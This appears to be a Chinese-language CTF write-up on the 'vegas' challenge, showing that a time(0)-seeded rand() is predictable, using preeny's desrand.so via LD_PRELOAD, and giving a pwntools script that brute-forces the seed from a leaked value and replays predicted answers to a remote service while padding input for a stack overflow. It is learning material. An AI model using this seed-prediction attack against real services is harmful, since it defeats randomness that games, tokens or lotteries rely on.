Vuln
程序是个猜奇数偶数的游戏,但是是随机的。
fake random
程序中用time作为随机数种子
wp中说time作种子是可以预测的。
不太懂。。写了个程序看看。
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <time.h>
#include <unistd.h>
int main()
{
int mseed = time(0);
srand(mseed);
int tmp_randn;
for(int i=0; i<10; i++)
{
tmp_randn = rand();
printf("0x%8x\n", tmp_randn);
}
printf("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n");
srand(mseed);
for(int i=0; i<10; i++)
{
tmp_randn = rand();
printf("0x%8x\n", tmp_randn);
}
return 0;
}
下面是输出结果
0x2aec09b2
0x763a88d3
0x7f7db242
0x30c5939a
0x3e57ed43
...
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
0x2aec09b2
0x763a88d3
0x7f7db242
0x30c5939a
0x3e57ed43
0x fb7db99
...
这里我time都是一个值,输出结果一毛一样。实际上给的程序里就是srand了一次,然后rand生成一堆随机数,那么利用思路就是猜出时间种子,然后就基本ok了。
Ref
看了各个wp,有两种方法
- 把生成随机数后计算maigc number 的算法写出来,然后leak出一个值之后自己算
- 不逆出算法,直接去leak远程的第一个值,然后本地也开一个进程爆破,遇到第一个值相等,就开始记录本地之后的值,把记录的值放到远程就直接“猜”对了!
desrand.so
看到su的wp里用了这么一个so库,配置环境变量,感觉挺有趣,于是学习一下。
google第一个就是一个github链接https://github.com/zardus/preeny
里面各种deXXX.so说明,clone下来之后测试。
test_time.c
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <time.h>
#include <unistd.h>
int main()
{
int mseed = time(0);
srand(mseed);
int tmp_randn;
for(int i=0; i<10; i++)
{
tmp_randn = rand();
printf("0x%8x\n", tmp_randn);
}
return 0;
}
也就是把上面那个稍微改了一下
test_time.py
import os
import time
from pwn import *
mine_time = int(time.time())
mine_env = os.environ
mine_env['LD_PRELOAD'] = './desrand64.so'
mine_env['SEED'] = str(mine_time)
io0 = process('./stime')
print 'io0:'
print io0.recvline()
io0.clean()
sleep(1)
mine_env['SEED'] = str(mine_time)
io1 = process('./stime', env=mine_env)
print 'io1'
print io1.recvline()
io0.clean()
io0.close()
io1.close()
这里基本参照su师傅的wp。的几个环境变量。查了一下,LD_PRELOAD是用了在程序运行前提前加载的,根据git上给的那个编译出来的几个so,还有什么dealarm.so什么的,以后就不用手动patch程序了(*^_^*)
写的测试脚本里两个端口中间间隔了一秒,正常情况下读到的随机数值应该不一样吧。不过这里由于有了环境变量的设置,使得输出结果如下了
[*] Process './stime' stopped with exit code 0
0x79174068
0x549431aa
0x64fa41bb
0x add66fb
0x4251b37b
0x785ac0d8
...
[+] Starting local process './stime': Done
io1
[+] Receiving all data: Done (110B)
[*] Process './stime' stopped with exit code 0
0x79174068
0x549431aa
0x64fa41bb
0x add66fb
0x4251b37b
0x785ac0d8
...
简直又一毛一样,interesting!
看来时间由我任意控制了!
Real test
下面来实际测试下vegas。
由于程序是32bit的,make的时候注意
deadfish@:~$ make CFLAGS=-m32
直接搞个爆破脚本
def answer_guess(tmp_io):
tmp_io.recvuntil('Choice:\n')
tmp_io.sendline(str(1))
tmp_io.recvuntil('Not sure\n')
tmp_io.sendline(str(3))
tmp_io.recvuntil('The number is ')
data = tmp_io.recvuntil('\n')[:-1]
rd_magic_nub = int(data, 16)
return rd_magic_nub
def crack_guess(tmp_io):
orginal_magicn = answer_guess(tmp_io)
right_answer = []
now_time = int(time.time())
for m_time in range(now_time-60, now_time+60):
mine_env = os.environ
mine_env['LD_PRELOAD'] = './desrand.so'
mine_env['SEED'] = str(m_time)
local_io = process('./vegas_crac', env=mine_env)
tmp_magic = answer_guess(local_io)
#print 'tmp magic number', tmp_magic
if tmp_magic == orginal_magicn:
print 'found magic', hex(tmp_magic)
for i in range(100):
if answer_guess(local_io) % 2 == 0:
right_answer.append(2)
else:
right_answer.append(1)
local_io.close()
return right_answer
local_io.close()
return
下面看看是不是都”猜“对了
def vguess_pad(io, gus_opt, pad_byte):
io.recvuntil('Score: ')
data = io.recvuntil('\n')[:-1]
now_socore = int(data, 10)
print 'now_socore:', now_socore
io.recvuntil('Choice:\n')
io.sendline(str(1))
io.recvuntil('Not sure\n')
io.sendline(str(gus_opt))
io.recvuntil('The number is ')
data = io.recvuntil('\n')[:-1]
io.recvuntil('step:')
io.sendline(pad_byte)
def veg_exp():
io_remote = remote('127.0.0.1', 2333)
answer_list = crack_guess(io_remote)
if answer_list != None:
raw_input('start padding?')
print answer_list
secrets = 'A'*0x20
for i, c in enumerate(secrets):
vguess_pad(io_remote, answer_list[i], c)
io_remote.close()
输出结果
start padding?
[1, 2, 1, 2, 2, 1, 2, 1, 1, 1, 1, 2, 2, 2, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 1, 2, 2, 2, 1, 1, 1, 2, 1, 1, 1, 2, 2, 1, 2, 1, 2, 2, 1, 2, 2, 2, 2, 1, 2, 1, 2, 2, 1, 1, 2, 1, 2, 2, 1, 1, 2, 1, 2, 2, 2, 2, 2, 1, 2, 2, 1, 2, 2, 2, 1, 2, 2, 2, 1, 1, 1, 1, 1, 1, 2, 1, 2, 2, 1, 2, 2, 2, 2, 1, 2, 2, 1, 1, 2, 2]
now_socore: 0
now_socore: 1
now_socore: 2
now_socore: 3
now_socore: 4
now_socore: 5
now_socore: 6
now_socore: 7
now_socore: 8
now_socore: 9
...
now_socore: 30
now_socore: 31
效果拔群!
Exp
简单的栈溢出 orz。。先看逃逸啥的了。(T_T) sigh~